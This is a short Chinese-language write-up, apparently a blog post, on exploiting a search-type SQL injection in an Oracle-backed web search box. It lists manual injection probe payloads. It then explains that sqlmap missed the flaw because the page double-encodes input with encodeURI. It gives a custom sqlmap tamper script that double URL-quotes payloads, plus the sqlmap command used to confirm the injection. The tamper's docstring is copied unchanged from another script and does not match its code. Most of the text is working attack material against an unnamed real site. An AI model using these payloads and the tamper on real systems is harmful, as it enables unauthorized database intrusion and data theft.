遇到 一个搜索框
通过输入以下 内容:
123 返回正常
123%' and '%'=' 返回正常
123%' and '%'=' a 返回 为空
123%‘-- 返回正常
123%' and (select 113 from dual)=123-- 返回正常
初步判定 为 oracle的 搜索型注入
0x01 遇到问题
按照一般的做法截包然后提交给 sqlmap,但是奇怪的sqlmap竟然无法识别出注入点
截包看了下手工注入的数据包,发现%变成了%2525
因此考虑到url编码了
然后查看源码
&classcode="+classcode+"&keyName="+encodeURI(encodeURI(keyName)));
果然是encodeURI编码,并且是两次
0x02 解决问题
查看了下sqlmap自带的tamper,好像还没有针对这种的编码
于是 找了个最简单的 tamper做模板,简单修改了下代码,代码如下
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import re
from urllib import quote
from lib.core.data import kb
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces each keyword character with lower case value
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass very weak and bespoke web application firewalls
that has poorly written permissive regular expressions
* This tamper script should work against all (?) databases
>>> tamper('INSERT')
'insert'
"""
retVal = payload
retVal = quote(quote(retVal))
return retVal
然后sqlmap加载改 tamper
sqlmap.py -r c:\tmp\1.txt -p keyName --random-agent --tamper urlencode2
sqlmap成功确认为 oracle注入
|